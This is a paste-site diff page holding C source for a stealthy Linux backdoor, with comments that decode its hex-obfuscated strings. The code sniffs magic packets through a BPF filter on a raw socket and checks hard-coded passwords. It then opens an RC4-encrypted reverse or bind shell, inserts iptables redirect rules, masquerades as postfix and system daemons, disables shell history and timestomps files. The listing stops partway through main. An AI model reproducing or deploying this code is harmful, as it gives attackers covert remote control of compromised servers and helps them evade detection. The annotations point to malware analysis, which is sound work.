View difference between Paste ID: yCMS8dAn and kmmJuuQP
SHOW: | | - or go back to the newest paste.
1
#include <arpa/inet.h>
2
#include <sys/wait.h>
3
#include <sys/resource.h>
4
#include <stdio.h>
5
#include <stdlib.h>
6
#include <unistd.h>
7
#include <signal.h>
8
#include <sys/types.h>
9
#include <sys/stat.h>
10
#include <linux/termios.h>
11
#include <sys/socket.h>
12
#include <netinet/in.h>
13
#include <string.h>
14
#include <fcntl.h>
15
#include <ctype.h>
16
#include <netdb.h>
17
#include <sys/prctl.h>
18
#include <libgen.h>
19
#include <sys/time.h>
20
#include <time.h>
21
#include <linux/types.h>
22
#include <linux/if_ether.h>
23
#include <linux/filter.h>
24
#include <errno.h>
25
#include <strings.h>
26
27
#ifndef PR_SET_NAME
28
#define PR_SET_NAME 15
29
#endif
30
31
extern char **environ;
32
33
#define __SID ('S' << 8)
34
#define I_PUSH (__SID | 2)
35
36
struct sniff_ip {
37
        unsigned char   ip_vhl;
38
        unsigned char   ip_tos;
39
        unsigned short int ip_len;
40
        unsigned short int ip_id;
41
        unsigned short int ip_off;
42
        #define IP_RF 0x8000
43
        #define IP_DF 0x4000
44
        #define IP_MF 0x2000
45
        #define IP_OFFMASK 0x1fff
46
        unsigned char   ip_ttl;
47
        unsigned char   ip_p;
48
        unsigned short int ip_sum;
49
        struct  in_addr ip_src,ip_dst;
50
};
51
#define IP_HL(ip) (((ip)->ip_vhl) & 0x0f)
52
#define IP_V(ip)  (((ip)->ip_vhl) >> 4)
53
54
typedef unsigned int tcp_seq;
55
struct sniff_tcp {
56
        unsigned short int th_sport;
57
        unsigned short int th_dport;
58
        tcp_seq th_seq;
59
        tcp_seq th_ack;
60
        unsigned char   th_offx2;
61
        #define TH_OFF(th) (((th)->th_offx2 & 0xf0) >> 4)
62
        unsigned char   th_flags;
63
        #define TH_FIN  0x01
64
        #define TH_SYN  0x02
65
        #define TH_RST  0x04
66
        #define TH_PUSH 0x08
67
        #define TH_ACK  0x10
68
        #define TH_URG  0x20
69
        #define TH_ECE  0x40
70
        #define TH_CWR  0x80
71
        #define TH_FLAGS (TH_FIN|TH_SYN|TH_RST|TH_ACK|TH_URG|TH_ECE|TH_CWR)
72
        unsigned short int th_win;
73
        unsigned short int th_sum;
74
        unsigned short int th_urp;
75
} __attribute__ ((packed));
76
77
struct sniff_udp {
78
        uint16_t uh_sport;
79
        uint16_t uh_dport;
80
        uint16_t uh_ulen;
81
        uint16_t uh_sum;
82
} __attribute__ ((packed));
83
84
struct magic_packet{
85
        unsigned int    flag;
86
        in_addr_t       ip;
87
        unsigned short  port;
88
        char   pass[14];
89
} __attribute__ ((packed));
90
91
#ifndef uchar
92
#define uchar unsigned char
93
#endif
94
95
typedef struct {
96
        uchar   state[256];
97
        uchar   x, y;
98
} rc4_ctx;
99
100
extern char *ptsname(int);
101
extern int grantpt(int fd);
102
extern int unlockpt(int fd);
103
extern int ioctl (int __fd, unsigned long int __request, ...) __THROW;
104
105
#define TIOCSCTTY 0x540E
106
#define TIOCGWINSZ 0x5413
107
#define TIOCSWINSZ 0x5414
108
#define ECHAR 0x0b
109
110
#define BUF 32768
111
112
struct  config {
113
        char    stime[4];
114
        char    etime[4];
115
        char    mask[512];
116
        char    pass[14];
117
        char    pass2[14];
118
} __attribute__ ((packed));
119
120
struct config cfg;
121
int     pty, tty;
122
int     godpid;
123
char pid_path[50];
124
125
int shell(int, char *, char *);
126
void getshell(char *ip, int);
127
128
char *argv0 = NULL;
129
130
rc4_ctx crypt_ctx, decrypt_ctx;
131
132
void xchg(uchar *a, uchar *b)
133
{
134
        uchar   c = *a;
135
        *a = *b;
136
        *b = c;
137
}
138
139
void    rc4_init (uchar *key, int len, rc4_ctx *ctx)
140
{
141
        uchar   index1, index2;
142
        uchar   *state = ctx->state;
143
        uchar   i;
144
145
        i = 0;
146
        do {
147
                state[i] = i;
148
                i++;
149
        } while (i);
150
151
        ctx->x = ctx->y = 0;
152
        index1 = index2 = 0;
153
        do {
154
                index2 = key[index1] + state[i] + index2;
155
                xchg(&state[i], &state[index2]);
156
                index1++;
157
                if (index1 >= len)
158
                        index1 = 0;
159
                i++;
160
        } while (i);
161
}
162
163
void    rc4 (uchar *data, int len, rc4_ctx *ctx)
164
{
165
        uchar   *state = ctx->state;
166
        uchar   x = ctx->x;
167
        uchar   y = ctx->y;
168
        int     i;
169
170
        for (i = 0; i < len; i++) {
171
                uchar xor;
172
173
                x++;
174
                y = state[x] + y;
175
                xchg(&state[x], &state[y]);
176
177
                xor = state[x] + state[y];
178
                data[i] ^= state[xor];
179
        }
180
181
        ctx->x = x;
182
        ctx->y = y;
183
}
184
185
int cwrite(int fd, void *buf, int count)
186
{
187
        uchar    *tmp;
188
        int     ret;
189
190
        if (!count)
191
                return 0;
192
        tmp = malloc(count);
193
        if (!tmp)
194
                return 0;
195
        memcpy(tmp, buf, count);
196
        rc4(tmp, count, &crypt_ctx);
197
        ret = write(fd, tmp, count);
198
        free(tmp);
199
        return ret;
200
}
201
202
int cread(int fd, void *buf, int count)
203
{
204
        int     i;
205
206
        if (!count)
207
                return 0;
208
        i = read(fd, buf, count);
209
210
        if (i > 0)
211
                rc4(buf, i, &decrypt_ctx);
212
        return i;
213
}
214
215
static void remove_pid(char *pp)
216
{
217
        unlink(pp);
218
}
219
220
static void setup_time(char *file)
221
{
222
        struct timeval tv[2];
223
224
        tv[0].tv_sec = 1225394236;
225
        tv[0].tv_usec = 0;
226
227
        tv[1].tv_sec = 1225394236;
228
        tv[1].tv_usec = 0;
229
230
        utimes(file, tv);
231
}
232
static void terminate(void)
233
{
234
        if (getpid() == godpid)
235
                remove_pid(pid_path);
236
237
        _exit(EXIT_SUCCESS);
238
}
239
240
static void on_terminate(int signo)
241
{
242
        terminate();
243
}
244
static void init_signal(void)
245
{
246
        atexit(terminate);
247
        signal(SIGTERM, on_terminate);
248
        return;
249
}
250
251
void sig_child(int i)
252
{
253
        signal(SIGCHLD, sig_child);
254
        waitpid(-1, NULL, WNOHANG);
255
}
256
257
int ptym_open(char *pts_name)
258
{
259
        char *ptr;
260
        int fd;
261
262
        strcpy(pts_name,"/dev/ptmx");
263
        if ((fd = open(pts_name,O_RDWR)) < 0) {
264
                return -1;
265
        }
266
267
        if (grantpt(fd) < 0) {
268
                close(fd);
269
                return -2;
270
        }
271
272
        if (unlockpt(fd) < 0) {
273
                close(fd);
274
                return -3;
275
        }
276
277
        if ((ptr = ptsname(fd)) == NULL) {
278
                close(fd);
279
                return -4;
280
        }
281
282
        strcpy(pts_name,ptr);
283
284
        return fd;
285
}
286
287
int ptys_open(int fd,char *pts_name)
288
{
289
        int fds;
290
291
        if ((fds = open(pts_name,O_RDWR)) < 0) {
292
                close(fd);
293
                return -5;
294
        }
295
296
297
        if (ioctl(fds,I_PUSH,"ptem") < 0) {
298
                return fds;
299
        }
300
301
        if (ioctl(fds,I_PUSH,"ldterm") < 0) {
302
        return fds;
303
        }
304
305
        if (ioctl(fds,I_PUSH,"ttcompat") < 0) {
306
                return fds;
307
        }
308
309
        return fds;
310
}
311
312
int open_tty()
313
{
314
        char pts_name[20];
315
316
        pty = ptym_open(pts_name);
317
318
        tty = ptys_open(pty,pts_name);
319
320
        if (pty >= 0 && tty >=0 )
321
                return 1;
322
        return 0;
323
}
324
325
int try_link(in_addr_t ip, unsigned short port)
326
{
327
        struct sockaddr_in serv_addr;
328
        int sock;
329
330
        bzero(&serv_addr, sizeof(serv_addr));
331
332
        serv_addr.sin_addr.s_addr = ip;
333
334
        if ((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
335
                return -1;
336
        }
337
338
        serv_addr.sin_family = AF_INET;
339
        serv_addr.sin_port = port;
340
341
        if (connect(sock, (struct sockaddr *)&serv_addr, sizeof(struct sockaddr)) == -1 ) {
342
                close(sock);
343
                return -1;
344
        }
345
        return sock;
346
}
347
348
int mon(in_addr_t ip, unsigned short port)
349
{
350
        struct sockaddr_in remote;
351
        int      sock;
352
        int      s_len;
353
354
        bzero(&remote, sizeof(remote));
355
        if ((sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) < -1) {
356
                return -1;
357
        }
358
        remote.sin_family = AF_INET;
359
        remote.sin_port   = port;
360
        remote.sin_addr.s_addr = ip;
361
362
        if ((s_len = sendto(sock, "1", 1, 0, (struct sockaddr *)&remote, sizeof(struct sockaddr))) < 0) {
363
                close(sock);
364
                return -1;
365
        }
366
        close(sock);
367
        return s_len;
368
}
369
370
int set_proc_name(int argc, char **argv, char *new)
371
{
372
        size_t size = 0;
373
        int i;
374
        char *raw = NULL;
375
        char *last = NULL;
376
377
        argv0 = argv[0];
378
379
        for (i = 0; environ[i]; i++)
380
                size += strlen(environ[i]) + 1;
381
382
        raw = (char *) malloc(size);
383
        if (NULL == raw)
384
                return -1;
385
386
        for (i = 0; environ[i]; i++)
387
        {
388
                memcpy(raw, environ[i], strlen(environ[i]) + 1);
389
                environ[i] = raw;
390
                raw += strlen(environ[i]) + 1;
391
        }
392
393
        last = argv[0];
394
395
        for (i = 0; i < argc; i++)
396
                last += strlen(argv[i]) + 1;
397
        for (i = 0; environ[i]; i++)
398
                last += strlen(environ[i]) + 1;
399
400
        memset(argv0, 0x00, last - argv0);
401
        strncpy(argv0, new, last - argv0);
402
403
        prctl(PR_SET_NAME, (unsigned long) new);
404
        return 0;
405
}
406
int to_open(char *name, char *tmp)
407
{
408
        char cmd[256] = {0};
409
        char fmt[] = {
410
                0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x72, 0x6d, 0x20, 0x2d, 0x66,
411
                0x20, 0x2f, 0x64, 0x65, 0x76, 0x2f, 0x73, 0x68, 0x6d, 0x2f,
412
                0x25, 0x73, 0x3b, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x63, 0x70,
413
                0x20, 0x25, 0x73, 0x20, 0x2f, 0x64, 0x65, 0x76, 0x2f, 0x73,
414
                0x68, 0x6d, 0x2f, 0x25, 0x73, 0x20, 0x26, 0x26, 0x20, 0x2f,
415
                0x62, 0x69, 0x6e, 0x2f, 0x63, 0x68, 0x6d, 0x6f, 0x64, 0x20,
416
                0x37, 0x35, 0x35, 0x20, 0x2f, 0x64, 0x65, 0x76, 0x2f, 0x73,
417
                0x68, 0x6d, 0x2f, 0x25, 0x73, 0x20, 0x26, 0x26, 0x20, 0x2f,
418
                0x64, 0x65, 0x76, 0x2f, 0x73, 0x68, 0x6d, 0x2f, 0x25, 0x73,
419
                0x20, 0x2d, 0x2d, 0x69, 0x6e, 0x69, 0x74, 0x20, 0x26, 0x26,
420
                0x20, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x72, 0x6d, 0x20, 0x2d,
421
                0x66, 0x20, 0x2f, 0x64, 0x65, 0x76, 0x2f, 0x73, 0x68, 0x6d,
422
                0x2f, 0x25, 0x73, 0x00}; // /bin/rm -f /dev/shm/%s;/bin/cp %s /dev/shm/%s && /bin/chmod 755 /dev/shm/%s && /dev/shm/%s --init && /bin/rm -f /dev/shm/%s
423
424
        snprintf(cmd, sizeof(cmd), fmt, tmp, name, tmp, tmp, tmp, tmp);
425
        system(cmd);
426
        sleep(2);
427
        if (access(pid_path, R_OK) == 0)
428
                return 0;
429
        return 1;
430
}
431
432
int logon(const char *hash)
433
{
434
        int x = 0;
435
        x = memcmp(cfg.pass, hash, strlen(cfg.pass));
436
        if (x == 0)
437
                return 0;
438
        x = memcmp(cfg.pass2, hash, strlen(cfg.pass2));
439
        if (x == 0)
440
                return 1;
441
442
        return 2;
443
}
444
445
void packet_loop()
446
{
447
        int sock, r_len, pid, scli, size_ip, size_tcp;
448
        socklen_t psize;
449
        uchar buff[512];
450
        const struct sniff_ip *ip;
451
        const struct sniff_tcp *tcp;
452
        struct magic_packet *mp;
453
        const struct sniff_udp *udp;
454
        in_addr_t bip;
455
        char *pbuff = NULL;
456
        
457
        //
458
        // Filter Options Build Filter Struct
459
        //
460
461
        struct sock_fprog filter;
462
        struct sock_filter bpf_code[] = {
463
                { 0x28, 0, 0, 0x0000000c },
464
                { 0x15, 0, 27, 0x00000800 },
465
                { 0x30, 0, 0, 0x00000017 },
466
                { 0x15, 0, 5, 0x00000011 },
467
                { 0x28, 0, 0, 0x00000014 },
468
                { 0x45, 23, 0, 0x00001fff },
469
                { 0xb1, 0, 0, 0x0000000e },
470
                { 0x48, 0, 0, 0x00000016 },
471
                { 0x15, 19, 20, 0x00007255 },
472
                { 0x15, 0, 7, 0x00000001 },
473
                { 0x28, 0, 0, 0x00000014 },
474
                { 0x45, 17, 0, 0x00001fff },
475
                { 0xb1, 0, 0, 0x0000000e },
476
                { 0x48, 0, 0, 0x00000016 },
477
                { 0x15, 0, 14, 0x00007255 },
478
                { 0x50, 0, 0, 0x0000000e },
479
                { 0x15, 11, 12, 0x00000008 },
480
                { 0x15, 0, 11, 0x00000006 },
481
                { 0x28, 0, 0, 0x00000014 },
482
                { 0x45, 9, 0, 0x00001fff },
483
                { 0xb1, 0, 0, 0x0000000e },
484
                { 0x50, 0, 0, 0x0000001a },
485
                { 0x54, 0, 0, 0x000000f0 },
486
                { 0x74, 0, 0, 0x00000002 },
487
                { 0xc, 0, 0, 0x00000000 },
488
                { 0x7, 0, 0, 0x00000000 },
489
                { 0x48, 0, 0, 0x0000000e },
490
                { 0x15, 0, 1, 0x00005293 },
491
                { 0x6, 0, 0, 0x0000ffff },
492
                { 0x6, 0, 0, 0x00000000 },
493
        };
494
495
        filter.len = sizeof(bpf_code)/sizeof(bpf_code[0]);
496
        filter.filter = bpf_code;
497
498
        //
499
        // Build a rawsocket that binds the NIC to receive Ethernet frames
500
        //
501
502
        if ((sock = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_IP))) < 1)
503
                return;
504
505
        //
506
        // Set a packet filter
507
        //
508
509
        if (setsockopt(sock, SOL_SOCKET, SO_ATTACH_FILTER, &filter, sizeof(filter)) == -1) {
510
                return;
511
        }
512
513
514
        //
515
        // Loop to Read Packets in 512 Chunks
516
        //
517
518
519
        while (1) {
520
                memset(buff, 0, 512);
521
                psize = 0;
522
                r_len = recvfrom(sock, buff, 512, 0x0, NULL, NULL);
523
524
                ip = (struct sniff_ip *)(buff+14);
525
                size_ip = IP_HL(ip)*4;
526
                if (size_ip < 20) continue;
527
528
                // determine protocl from packet (offset 14)
529
                switch(ip->ip_p) {
530
                        case IPPROTO_TCP:
531
                                tcp = (struct sniff_tcp*)(buff+14+size_ip);
532
                                size_tcp = TH_OFF(tcp)*4;
533
                                mp = (struct magic_packet *)(buff+14+size_ip+size_tcp);
534
                                break;
535
                        case IPPROTO_UDP:
536
                                udp = (struct sniff_udp *)(ip+1);
537
                                mp = (struct magic_packet *)(udp+1);
538
                                break;
539
                        case IPPROTO_ICMP:
540
                                pbuff = (char *)(ip+1);
541
                                mp = (struct magic_packet *)(pbuff+8);
542
                                break;
543
                        default:
544
                                break;
545
                }
546
                
547
                // if magic packet is set process
548
549
                if (mp) {
550
                        if (mp->ip == INADDR_NONE)
551
                                bip = ip->ip_src.s_addr;
552
                        else
553
                                bip = mp->ip;
554
555
                        pid = fork();
556
                        if (pid) {
557
                                waitpid(pid, NULL, WNOHANG);
558
                        }
559
                        else {
560
                                int cmp = 0;
561
                                char sip[20] = {0};
562
                                char pname[] = {0x2f, 0x75, 0x73, 0x72, 0x2f, 0x6c, 0x69, 0x62, 0x65, 0x78, 0x65, 0x63, 0x2f, 0x70, 0x6f, 0x73, 0x74, 0x66, 0x69, 0x78, 0x2f, 0x6d, 0x61, 0x73, 0x74, 0x65,
563
 0x72, 0x00}; // /usr/libexec/postfix/master
564
565
                                if (fork()) exit(0);
566
                                chdir("/");
567
                                setsid();
568
                                signal(SIGHUP, SIG_DFL);
569
                                memset(argv0, 0, strlen(argv0));
570
                                strcpy(argv0, pname); // sets process name (/usr/libexec/postfix/master) 
571
                                prctl(PR_SET_NAME, (unsigned long) pname);
572
573
                                rc4_init(mp->pass, strlen(mp->pass), &crypt_ctx);
574
                                rc4_init(mp->pass, strlen(mp->pass), &decrypt_ctx);
575
576
                                cmp = logon(mp->pass);
577
                                switch(cmp) {
578
                                        case 1:
579
                                                strcpy(sip, inet_ntoa(ip->ip_src));
580
                                                getshell(sip, ntohs(tcp->th_dport));
581
                                                break;
582
                                        case 0:
583
                                                scli = try_link(bip, mp->port);
584
                                                if (scli > 0)
585
                                                        shell(scli, NULL, NULL);
586
                                                break;
587
                                        case 2:
588
                                                mon(bip, mp->port);
589
                                                break;
590
                                }
591
                                exit(0);
592
                        }
593
                }
594
595
        }
596
        close(sock);
597
}
598
599
int b(int *p)
600
{
601
        int port;
602
        struct sockaddr_in my_addr;
603
        int sock_fd;
604
        int flag = 1;
605
606
        if( (sock_fd = socket(AF_INET,SOCK_STREAM,0)) == -1 ){
607
                return -1;
608
        }
609
610
        setsockopt(sock_fd,SOL_SOCKET,SO_REUSEADDR, (char*)&flag,sizeof(flag));
611
612
        my_addr.sin_family = AF_INET;
613
        my_addr.sin_addr.s_addr = 0;
614
615
        for (port = 42391; port < 43391; port++) {
616
                my_addr.sin_port = htons(port);
617
                if( bind(sock_fd,(struct sockaddr *)&my_addr,sizeof(struct sockaddr)) == -1 ){
618
                        continue;
619
                }
620
                if( listen(sock_fd,1) == 0 ) {
621
                        *p = port;
622
                        return sock_fd;
623
                }
624
                close(sock_fd);
625
        }
626
        return -1;
627
}
628
629
int w(int sock)
630
{
631
        socklen_t size;
632
        struct sockaddr_in remote_addr;
633
        int sock_id;
634
635
        size = sizeof(struct sockaddr_in);
636
        if( (sock_id = accept(sock,(struct sockaddr *)&remote_addr, &size)) == -1 ){
637
                return -1;
638
        }
639
640
        close(sock);
641
        return sock_id;
642
643
}
644
645
void getshell(char *ip, int fromport)
646
{
647
        int  sock, sockfd, toport;
648
        char cmd[512] = {0}, rcmd[512] = {0}, dcmd[512] = {0};
649
        char cmdfmt[] = {
650
                        0x2f, 0x73, 0x62, 0x69, 0x6e, 0x2f, 0x69, 0x70, 0x74, 0x61, 0x62, 0x6c,
651
                        0x65, 0x73, 0x20, 0x2d, 0x74, 0x20, 0x6e, 0x61, 0x74, 0x20, 0x2d, 0x41,
652
                        0x20, 0x50, 0x52, 0x45, 0x52, 0x4f, 0x55, 0x54, 0x49, 0x4e, 0x47, 0x20,
653
                        0x2d, 0x70, 0x20, 0x74, 0x63, 0x70, 0x20, 0x2d, 0x73, 0x20, 0x25, 0x73,
654
                        0x20, 0x2d, 0x2d, 0x64, 0x70, 0x6f, 0x72, 0x74, 0x20, 0x25, 0x64, 0x20,
655
                        0x2d, 0x6a, 0x20, 0x52, 0x45, 0x44, 0x49, 0x52, 0x45, 0x43, 0x54, 0x20,
656
                        0x2d, 0x2d, 0x74, 0x6f, 0x2d, 0x70, 0x6f, 0x72, 0x74, 0x73, 0x20, 0x25,
657
                        0x64, 0x00}; // /sbin/iptables -t nat -A PREROUTING -p tcp -s %s --dport %d -j REDIRECT --to-ports %d
658
        char rcmdfmt[] = {
659
                        0x2f, 0x73, 0x62, 0x69, 0x6e, 0x2f, 0x69, 0x70, 0x74, 0x61, 0x62, 0x6c,
660
                        0x65, 0x73, 0x20, 0x2d, 0x74, 0x20, 0x6e, 0x61, 0x74, 0x20, 0x2d, 0x44,
661
                        0x20, 0x50, 0x52, 0x45, 0x52, 0x4f, 0x55, 0x54, 0x49, 0x4e, 0x47, 0x20,
662
                        0x2d, 0x70, 0x20, 0x74, 0x63, 0x70, 0x20, 0x2d, 0x73, 0x20, 0x25, 0x73,
663
                        0x20, 0x2d, 0x2d, 0x64, 0x70, 0x6f, 0x72, 0x74, 0x20, 0x25, 0x64, 0x20,
664
                        0x2d, 0x6a, 0x20, 0x52, 0x45, 0x44, 0x49, 0x52, 0x45, 0x43, 0x54, 0x20,
665
                        0x2d, 0x2d, 0x74, 0x6f, 0x2d, 0x70, 0x6f, 0x72, 0x74, 0x73, 0x20, 0x25,
666
                        0x64, 0x00}; // /sbin/iptables -t nat -D PREROUTING -p tcp -s %s --dport %d -j REDIRECT --to-ports %d
667
        char inputfmt[] = {
668
                        0x2f, 0x73, 0x62, 0x69, 0x6e, 0x2f, 0x69, 0x70, 0x74, 0x61, 0x62, 0x6c,
669
                        0x65, 0x73, 0x20, 0x2d, 0x49, 0x20, 0x49, 0x4e, 0x50, 0x55, 0x54, 0x20,
670
                        0x2d, 0x70, 0x20, 0x74, 0x63, 0x70, 0x20, 0x2d, 0x73, 0x20, 0x25, 0x73,
671
                        0x20, 0x2d, 0x6a, 0x20, 0x41, 0x43, 0x43, 0x45, 0x50, 0x54, 0x00}; // /sbin/iptables -I INPUT -p tcp -s %s -j ACCEPT
672
        char dinputfmt[] = {
673
                        0x2f, 0x73, 0x62, 0x69, 0x6e, 0x2f, 0x69, 0x70, 0x74, 0x61, 0x62, 0x6c,
674
                        0x65, 0x73, 0x20, 0x2d, 0x44, 0x20, 0x49, 0x4e, 0x50, 0x55, 0x54, 0x20,
675
                        0x2d, 0x70, 0x20, 0x74, 0x63, 0x70, 0x20, 0x2d, 0x73, 0x20, 0x25, 0x73,
676
                        0x20, 0x2d, 0x6a, 0x20, 0x41, 0x43, 0x43, 0x45, 0x50, 0x54, 0x00}; // /sbin/iptables -D INPUT -p tcp -s %s -j ACCEPT
677
678
        sockfd = b(&toport); // looks like it selects random ephemral port here
679
        if (sockfd == -1) return;
680
681
        snprintf(cmd, sizeof(cmd), inputfmt, ip);
682
        snprintf(dcmd, sizeof(dcmd), dinputfmt, ip);
683
        system(cmd); // executes /sbin/iptables -I INPUT -p tcp -s %s -j ACCEPT 
684
        sleep(1);
685
        memset(cmd, 0, sizeof(cmd));
686
        snprintf(cmd, sizeof(cmd), cmdfmt, ip, fromport, toport);
687
        snprintf(rcmd, sizeof(rcmd), rcmdfmt, ip, fromport, toport);
688
        system(cmd); // executes /sbin/iptables -t nat -A PREROUTING -p tcp -s %s --dport %d -j REDIRECT --to-ports %d
689
        sleep(1);
690
        sock = w(sockfd); // creates a sock that listens on port specified earlier
691
        if( sock < 0 ){
692
                close(sock);
693
                return;
694
        }
695
696
        //
697
        // passes sock and 
698
        // rcmd = /sbin/iptables -t nat -D PREROUTING -p tcp -s %s --dport %d -j REDIRECT --to-ports %d
699
        // dcmd =  /sbin/iptables -D INPUT -p tcp -s %s -j ACCEPT 
700
        //
701
        //
702
703
        shell(sock, rcmd, dcmd); 
704
        close(sock);
705
}
706
707
int shell(int sock, char *rcmd, char *dcmd)
708
{
709
        int subshell;
710
        fd_set fds;
711
        char buf[BUF];
712
        char argx[] = {
713
                0x71, 0x6d, 0x67, 0x72, 0x20, 0x2d, 0x6c, 0x20, 0x2d, 0x74,
714
                0x20, 0x66, 0x69, 0x66, 0x6f, 0x20, 0x2d, 0x75, 0x00}; // qmgr -l -t fifo -u
715
        char *argvv[] = {argx, NULL, NULL};
716
        #define MAXENV 256
717
        #define ENVLEN 256
718
        char *envp[MAXENV];
719
        char sh[] = {0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00}; // /bin/sh
720
        int ret;
721
        char home[] = {0x48, 0x4f, 0x4d, 0x45, 0x3d, 0x2f, 0x74, 0x6d, 0x70, 0x00}; // HOME=/tmp
722
        char ps[] = {
723
                0x50, 0x53, 0x31, 0x3d, 0x5b, 0x5c, 0x75, 0x40, 0x5c, 0x68, 0x20,
724
                0x5c, 0x57, 0x5d, 0x5c, 0x5c, 0x24, 0x20, 0x00}; // PS1=[\u@\h \W]\\$ 
725
        char histfile[] = {
726
                0x48, 0x49, 0x53, 0x54, 0x46, 0x49, 0x4c, 0x45, 0x3d, 0x2f, 0x64,
727
                0x65, 0x76, 0x2f, 0x6e, 0x75, 0x6c, 0x6c, 0x00}; // HISTFILE=/dev/null
728
        char mshist[] = {
729
                0x4d, 0x59, 0x53, 0x51, 0x4c, 0x5f, 0x48, 0x49, 0x53, 0x54, 0x46,
730
                0x49, 0x4c, 0x45, 0x3d, 0x2f, 0x64, 0x65, 0x76, 0x2f, 0x6e, 0x75,
731
                0x6c, 0x6c, 0x00}; // MYSQL_HISTFILE=/dev/null
732
        char ipath[] = {
733
                0x50, 0x41, 0x54, 0x48, 0x3d, 0x2f, 0x62, 0x69, 0x6e,
734
                0x3a, 0x2f, 0x75, 0x73, 0x72, 0x2f, 0x6b, 0x65, 0x72, 0x62, 0x65,
735
                0x72, 0x6f, 0x73, 0x2f, 0x73, 0x62, 0x69, 0x6e, 0x3a, 0x2f, 0x75,
736
                0x73, 0x72, 0x2f, 0x6b, 0x65, 0x72, 0x62, 0x65, 0x72, 0x6f, 0x73,
737
                0x2f, 0x62, 0x69, 0x6e, 0x3a, 0x2f, 0x73, 0x62, 0x69, 0x6e, 0x3a,
738
                0x2f, 0x75, 0x73, 0x72, 0x2f, 0x62, 0x69, 0x6e, 0x3a, 0x2f, 0x75,
739
                0x73, 0x72, 0x2f, 0x73, 0x62, 0x69, 0x6e, 0x3a, 0x2f, 0x75, 0x73,
740
                0x72, 0x2f, 0x6c, 0x6f, 0x63, 0x61, 0x6c, 0x2f, 0x62, 0x69, 0x6e,
741
                0x3a, 0x2f, 0x75, 0x73, 0x72, 0x2f, 0x6c, 0x6f, 0x63, 0x61, 0x6c,
742
                0x2f, 0x73, 0x62, 0x69, 0x6e, 0x3a, 0x2f, 0x75, 0x73, 0x72, 0x2f,
743
                0x58, 0x31, 0x31, 0x52, 0x36, 0x2f, 0x62, 0x69, 0x6e, 0x3a, 0x2e,
744
                0x2f, 0x62, 0x69, 0x6e, 0x00}; // PATH=/bin:/usr/kerberos/sbin:/usr/kerberos/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:/usr/X11R6/bin:./bin
745
        char term[] = "vt100";
746
747
        envp[0] = home;
748
        envp[1] = ps;
749
        envp[2] = histfile;
750
        envp[3] = mshist;
751
        envp[4] = ipath;
752
        envp[5] = term;
753
        envp[6] = NULL;
754
755
        if (rcmd != NULL)
756
                system(rcmd);
757
        if (dcmd != NULL)
758
                system(dcmd);
759
        write(sock, "3458", 4);
760
        if (!open_tty()) {
761
                if (!fork()) {
762
                        dup2(sock, 0);
763
                        dup2(sock, 1);
764
                        dup2(sock, 2);
765
                        execve(sh, argvv, envp);
766
                }
767
                close(sock);
768
                return 0;
769
        }
770
771
        subshell = fork();
772
        if (subshell == 0) {
773
                close(pty);
774
                ioctl(tty, TIOCSCTTY);
775
                close(sock);
776
                dup2(tty, 0);
777
                dup2(tty, 1);
778
                dup2(tty, 2);
779
                close(tty);
780
                execve(sh, argvv, envp);
781
        }
782
        close(tty);
783
784
        while (1) {
785
                FD_ZERO(&fds);
786
                FD_SET(pty, &fds);
787
                FD_SET(sock, &fds);
788
                if (select((pty > sock) ? (pty+1) : (sock+1),
789
                        &fds, NULL, NULL, NULL) < 0)
790
                {
791
                        break;
792
                }
793
                if (FD_ISSET(pty, &fds)) {
794
                        int count;
795
                        count = read(pty, buf, BUF);
796
                        if (count <= 0) break;
797
                        if (cwrite(sock, buf, count) <= 0) break;
798
                }
799
                if (FD_ISSET(sock, &fds)) {
800
                        int count;
801
                        unsigned char *p, *d;
802
                        d = (unsigned char *)buf;
803
                        count = cread(sock, buf, BUF);
804
                        if (count <= 0) break;
805
806
                        p = memchr(buf, ECHAR, count);
807
                        if (p) {
808
                                unsigned char wb[5];
809
                                int rlen = count - ((long) p - (long) buf);
810
                                struct winsize ws;
811
812
                                if (rlen > 5) rlen = 5;
813
                                memcpy(wb, p, rlen);
814
                                if (rlen < 5) {
815
                                        ret = cread(sock, &wb[rlen], 5 - rlen);
816
                                }
817
818
                                ws.ws_xpixel = ws.ws_ypixel = 0;
819
                                ws.ws_col = (wb[1] << 8) + wb[2];
820
                                ws.ws_row = (wb[3] << 8) + wb[4];
821
                                ioctl(pty, TIOCSWINSZ, &ws);
822
                                kill(0, SIGWINCH);
823
824
                                ret = write(pty, buf, (long) p - (long) buf);
825
                                rlen = ((long) buf + count) - ((long)p+5);
826
                                if (rlen > 0) ret = write(pty, p+5, rlen);
827
                        } else
828
                                if (write(pty, d, count) <= 0) break;
829
                }
830
        }
831
        close(sock);
832
        close(pty);
833
        waitpid(subshell, NULL, 0);
834
        vhangup();
835
        exit(0);
836
}
837
838
int main(int argc, char *argv[])
839
{
840
        char hash[] = {0x6a, 0x75, 0x73, 0x74, 0x66, 0x6f, 0x72, 0x66, 0x75, 0x6e, 0x00}; // justforfun
841
        char hash2[]= {0x73, 0x6f, 0x63, 0x6b, 0x65, 0x74, 0x00}; // socket
842
        char *self[] = {
843
                "/sbin/udevd -d",
844
                "/sbin/mingetty /dev/tty7",
845
                "/usr/sbin/console-kit-daemon --no-daemon",
846
                "hald-addon-acpi: listening on acpi kernel interface /proc/acpi/event",
847
                "dbus-daemon --system",
848
                "hald-runner",
849
                "pickup -l -t fifo -u",
850
                "avahi-daemon: chroot helper",
851
                "/sbin/auditd -n",
852
                "/usr/lib/systemd/systemd-journald"
853
        };
854
855
        pid_path[0] = 0x2f; pid_path[1] = 0x76; pid_path[2] = 0x61;
856
        pid_path[3] = 0x72; pid_path[4] = 0x2f; pid_path[5] = 0x72;
857
        pid_path[6] = 0x75; pid_path[7] = 0x6e; pid_path[8] = 0x2f;
858
        pid_path[9] = 0x68; pid_path[10] = 0x61; pid_path[11] = 0x6c;
859
        pid_path[12] = 0x64; pid_path[13] = 0x72; pid_path[14] = 0x75;
860
        pid_path[15] = 0x6e; pid_path[16] = 0x64; pid_path[17] = 0x2e;
861
        pid_path[18] = 0x70; pid_path[19] = 0x69; pid_path[20] = 0x64;
862
        pid_path[21] = 0x00; // /var/run/haldrund.pid
863
864
        if (access(pid_path, R_OK) == 0) {
865
                exit(0);
866
        }
867
868
